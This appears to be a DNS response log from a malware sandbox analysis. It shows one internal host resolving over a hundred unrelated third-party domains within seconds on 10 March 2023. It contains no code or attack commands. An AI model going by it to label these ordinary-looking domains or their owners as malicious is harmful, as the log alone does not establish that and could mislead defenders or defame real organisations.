Mar 10, 2023 07:56:00.843878984 CET	8.8.8.8	192.168.2.6	0xa986	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.864377022 CET	8.8.8.8	192.168.2.6	0x1ee5	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.869864941 CET	8.8.8.8	192.168.2.6	0x926e	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.878782034 CET	8.8.8.8	192.168.2.6	0x834a	No error (0)	dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.878782034 CET	8.8.8.8	192.168.2.6	0x834a	No error (0)	dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.884708881 CET	8.8.8.8	192.168.2.6	0x261d	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.898327112 CET	8.8.8.8	192.168.2.6	0xf2e0	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.906261921 CET	8.8.8.8	192.168.2.6	0xcef1	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.911324978 CET	8.8.8.8	192.168.2.6	0xb7d1	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.935695887 CET	8.8.8.8	192.168.2.6	0xbdb6	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.937652111 CET	8.8.8.8	192.168.2.6	0xe4cf	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.977441072 CET	8.8.8.8	192.168.2.6	0xf5ae	No error (0)	shittas.com		43.246.117.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.985918999 CET	8.8.8.8	192.168.2.6	0x9d2	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.996445894 CET	8.8.8.8	192.168.2.6	0x841	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.999463081 CET	8.8.8.8	192.168.2.6	0x941e	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.017119884 CET	8.8.8.8	192.168.2.6	0x93a	No error (0)	dyag-eng.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.058713913 CET	8.8.8.8	192.168.2.6	0x44f5	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.101226091 CET	8.8.8.8	192.168.2.6	0xa795	No error (0)	anduran.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:01.101226091 CET	8.8.8.8	192.168.2.6	0xa795	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:01.101226091 CET	8.8.8.8	192.168.2.6	0xa795	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.101226091 CET	8.8.8.8	192.168.2.6	0xa795	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.139228106 CET	8.8.8.8	192.168.2.6	0xab34	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.785444021 CET	8.8.8.8	192.168.2.6	0x6a78	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.818186045 CET	8.8.8.8	192.168.2.6	0x44af	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.818186045 CET	8.8.8.8	192.168.2.6	0x44af	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.818186045 CET	8.8.8.8	192.168.2.6	0x44af	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.818186045 CET	8.8.8.8	192.168.2.6	0x44af	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.927175045 CET	8.8.8.8	192.168.2.6	0xad5a	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:01.927175045 CET	8.8.8.8	192.168.2.6	0xad5a	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.011782885 CET	8.8.8.8	192.168.2.6	0xb5e5	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.126633883 CET	8.8.8.8	192.168.2.6	0xe4cf	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.201164961 CET	8.8.8.8	192.168.2.6	0xb270	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.201164961 CET	8.8.8.8	192.168.2.6	0xb270	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.257934093 CET	8.8.8.8	192.168.2.6	0x50c7	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.302115917 CET	8.8.8.8	192.168.2.6	0x3770	No error (0)	aiolos-sa.gr		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.302115917 CET	8.8.8.8	192.168.2.6	0x3770	No error (0)	aiolos-sa.gr		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.360841036 CET	8.8.8.8	192.168.2.6	0x8bb3	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.360841036 CET	8.8.8.8	192.168.2.6	0x8bb3	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.470329046 CET	8.8.8.8	192.168.2.6	0xe99e	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.538943052 CET	8.8.8.8	192.168.2.6	0xe923	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.561139107 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.561139107 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.561139107 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.561139107 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.704024076 CET	8.8.8.8	192.168.2.6	0x8c10	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.725596905 CET	8.8.8.8	192.168.2.6	0x53ab	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:02.760972023 CET	8.8.8.8	192.168.2.6	0x806f	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.501969099 CET	8.8.8.8	192.168.2.6	0x77a1	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.506048918 CET	8.8.8.8	192.168.2.6	0xe99e	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.506083012 CET	8.8.8.8	192.168.2.6	0x8bb3	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.506083012 CET	8.8.8.8	192.168.2.6	0x8bb3	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.521620989 CET	8.8.8.8	192.168.2.6	0x2a54	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.521620989 CET	8.8.8.8	192.168.2.6	0x2a54	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.524502039 CET	8.8.8.8	192.168.2.6	0xe4cf	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.538075924 CET	8.8.8.8	192.168.2.6	0x1c7d	No error (0)	apcotex.com		35.154.163.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.606601954 CET	8.8.8.8	192.168.2.6	0x62ae	No error (0)	adventist.ro		172.67.183.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.606601954 CET	8.8.8.8	192.168.2.6	0x62ae	No error (0)	adventist.ro		104.21.48.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.648710966 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.648710966 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.648710966 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.648710966 CET	8.8.8.8	192.168.2.6	0x7b67	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:03.833620071 CET	8.8.8.8	192.168.2.6	0xdb5b	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:04.341928959 CET	8.8.8.8	192.168.2.6	0x1239	No error (0)	anduran.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:04.341928959 CET	8.8.8.8	192.168.2.6	0x1239	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:04.341928959 CET	8.8.8.8	192.168.2.6	0x1239	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:04.341928959 CET	8.8.8.8	192.168.2.6	0x1239	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:04.718035936 CET	8.8.8.8	192.168.2.6	0x341c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.505810976 CET	8.8.8.8	192.168.2.6	0x49d1	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.512790918 CET	8.8.8.8	192.168.2.6	0xdc9d	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.519277096 CET	8.8.8.8	192.168.2.6	0xd9f7	No error (0)	aiolos-sa.gr		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.519277096 CET	8.8.8.8	192.168.2.6	0xd9f7	No error (0)	aiolos-sa.gr		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.636096001 CET	8.8.8.8	192.168.2.6	0x56a9	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.675312042 CET	8.8.8.8	192.168.2.6	0x72da	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.771555901 CET	8.8.8.8	192.168.2.6	0x9142	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.841403008 CET	8.8.8.8	192.168.2.6	0xe4cf	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.842088938 CET	8.8.8.8	192.168.2.6	0x341c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.880002022 CET	8.8.8.8	192.168.2.6	0x6b45	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.880002022 CET	8.8.8.8	192.168.2.6	0x6b45	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.880002022 CET	8.8.8.8	192.168.2.6	0x6b45	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.880002022 CET	8.8.8.8	192.168.2.6	0x6b45	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.908602953 CET	8.8.8.8	192.168.2.6	0xfcad	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.966087103 CET	8.8.8.8	192.168.2.6	0x92da	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.970552921 CET	8.8.8.8	192.168.2.6	0x278	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.987530947 CET	8.8.8.8	192.168.2.6	0x7e7a	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:05.989775896 CET	8.8.8.8	192.168.2.6	0xc20f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.000077009 CET	8.8.8.8	192.168.2.6	0x51b8	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.014774084 CET	8.8.8.8	192.168.2.6	0x2223	No error (0)	envogen.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.014774084 CET	8.8.8.8	192.168.2.6	0x2223	No error (0)	envogen.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.020953894 CET	8.8.8.8	192.168.2.6	0xcc9d	No error (0)	webways.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.020953894 CET	8.8.8.8	192.168.2.6	0xcc9d	No error (0)	webways.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.047049999 CET	8.8.8.8	192.168.2.6	0xd11a	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.060832024 CET	8.8.8.8	192.168.2.6	0x5d42	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.080724001 CET	8.8.8.8	192.168.2.6	0xde56	No error (0)	vfcindia.com		68.71.135.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.095443010 CET	8.8.8.8	192.168.2.6	0x5f63	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.099387884 CET	8.8.8.8	192.168.2.6	0xf44c	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.104156017 CET	8.8.8.8	192.168.2.6	0xae8f	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.125081062 CET	8.8.8.8	192.168.2.6	0x9fa4	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.136970997 CET	8.8.8.8	192.168.2.6	0xb4e6	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.169037104 CET	8.8.8.8	192.168.2.6	0x7de2	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.409245014 CET	8.8.8.8	192.168.2.6	0xaa0b	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.457003117 CET	8.8.8.8	192.168.2.6	0x3ba1	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.586218119 CET	8.8.8.8	192.168.2.6	0xdcb0	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.610205889 CET	8.8.8.8	192.168.2.6	0xd03d	No error (0)	aiolos-sa.gr		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.610205889 CET	8.8.8.8	192.168.2.6	0xd03d	No error (0)	aiolos-sa.gr		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.647664070 CET	8.8.8.8	192.168.2.6	0x62d6	No error (0)	geecl.com		213.175.217.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.649741888 CET	8.8.8.8	192.168.2.6	0x48ec	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.650204897 CET	8.8.8.8	192.168.2.6	0x4532	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.656039953 CET	8.8.8.8	192.168.2.6	0xf10e	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.658535004 CET	8.8.8.8	192.168.2.6	0xf72	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.674837112 CET	8.8.8.8	192.168.2.6	0xc5bd	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.689364910 CET	8.8.8.8	192.168.2.6	0x1cc7	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.739356041 CET	8.8.8.8	192.168.2.6	0x7b93	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:06.837655067 CET	8.8.8.8	192.168.2.6	0x289	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.039067984 CET	8.8.8.8	192.168.2.6	0xb8e2	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.039829969 CET	8.8.8.8	192.168.2.6	0x46fa	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.053793907 CET	8.8.8.8	192.168.2.6	0x39ed	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.073944092 CET	8.8.8.8	192.168.2.6	0x8d0c	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.077008009 CET	8.8.8.8	192.168.2.6	0x6477	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.078465939 CET	8.8.8.8	192.168.2.6	0x84be	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.081868887 CET	8.8.8.8	192.168.2.6	0xcb4	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.092427969 CET	8.8.8.8	192.168.2.6	0x397	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.131325960 CET	8.8.8.8	192.168.2.6	0xb067	No error (0)	vivastay.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:07.131325960 CET	8.8.8.8	192.168.2.6	0xb067	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:07.131325960 CET	8.8.8.8	192.168.2.6	0xb067	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.131325960 CET	8.8.8.8	192.168.2.6	0xb067	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.146327972 CET	8.8.8.8	192.168.2.6	0x1a73	No error (0)	hes.pt		52.19.230.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.176995039 CET	8.8.8.8	192.168.2.6	0x3a38	No error (0)	lyto.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.176995039 CET	8.8.8.8	192.168.2.6	0x3a38	No error (0)	lyto.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.329544067 CET	8.8.8.8	192.168.2.6	0x7504	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.358959913 CET	8.8.8.8	192.168.2.6	0x8f3	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.369621992 CET	8.8.8.8	192.168.2.6	0xc20f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.395179987 CET	8.8.8.8	192.168.2.6	0x7c44	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.402245045 CET	8.8.8.8	192.168.2.6	0x9709	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.428245068 CET	8.8.8.8	192.168.2.6	0x171c	No error (0)	juso-gr.ch		104.21.50.140	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.428245068 CET	8.8.8.8	192.168.2.6	0x171c	No error (0)	juso-gr.ch		172.67.163.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.462635994 CET	8.8.8.8	192.168.2.6	0xb84f	No error (0)	juso-gr.ch		104.21.50.140	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.462635994 CET	8.8.8.8	192.168.2.6	0xb84f	No error (0)	juso-gr.ch		172.67.163.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.470359087 CET	8.8.8.8	192.168.2.6	0x597a	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.473392010 CET	8.8.8.8	192.168.2.6	0x7584	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.476351976 CET	8.8.8.8	192.168.2.6	0xe4fe	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.488181114 CET	8.8.8.8	192.168.2.6	0xb175	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.492235899 CET	8.8.8.8	192.168.2.6	0xb3aa	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.494380951 CET	8.8.8.8	192.168.2.6	0x4379	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.496104002 CET	8.8.8.8	192.168.2.6	0xb9c1	No error (0)	burstner.ru		52.50.65.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.497699976 CET	8.8.8.8	192.168.2.6	0x42a6	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.517797947 CET	8.8.8.8	192.168.2.6	0x4b4f	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.520996094 CET	8.8.8.8	192.168.2.6	0xd0c8	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.520996094 CET	8.8.8.8	192.168.2.6	0xd0c8	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.520996094 CET	8.8.8.8	192.168.2.6	0xd0c8	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.623403072 CET	8.8.8.8	192.168.2.6	0xd64d	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.672910929 CET	8.8.8.8	192.168.2.6	0x515d	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.684185982 CET	8.8.8.8	192.168.2.6	0xfde9	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.684185982 CET	8.8.8.8	192.168.2.6	0xfde9	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.684185982 CET	8.8.8.8	192.168.2.6	0xfde9	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.702857018 CET	8.8.8.8	192.168.2.6	0x2e2b	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.711560011 CET	8.8.8.8	192.168.2.6	0x8b0d	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.719408035 CET	8.8.8.8	192.168.2.6	0x66af	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.731785059 CET	8.8.8.8	192.168.2.6	0x9635	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.736347914 CET	8.8.8.8	192.168.2.6	0x83b6	No error (0)	vfcindia.com		68.71.135.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.742010117 CET	8.8.8.8	192.168.2.6	0xe648	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.747980118 CET	8.8.8.8	192.168.2.6	0xdf2e	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.808609962 CET	8.8.8.8	192.168.2.6	0x5c91	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.808609962 CET	8.8.8.8	192.168.2.6	0x5c91	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.909301043 CET	8.8.8.8	192.168.2.6	0x6b03	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:07.995182991 CET	8.8.8.8	192.168.2.6	0x2035	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.037220955 CET	8.8.8.8	192.168.2.6	0x5764	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.042263985 CET	8.8.8.8	192.168.2.6	0x8ee8	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.042911053 CET	8.8.8.8	192.168.2.6	0xedc5	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.050399065 CET	8.8.8.8	192.168.2.6	0xdd54	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.050771952 CET	8.8.8.8	192.168.2.6	0x2cef	No error (0)	umcor.am		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.050771952 CET	8.8.8.8	192.168.2.6	0x2cef	No error (0)	umcor.am		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.152621031 CET	8.8.8.8	192.168.2.6	0xe378	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.199393034 CET	8.8.8.8	192.168.2.6	0x809	No error (0)	78san.com		133.242.15.119	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.238640070 CET	8.8.8.8	192.168.2.6	0x6c98	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:08.262738943 CET	8.8.8.8	192.168.2.6	0xb07c	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
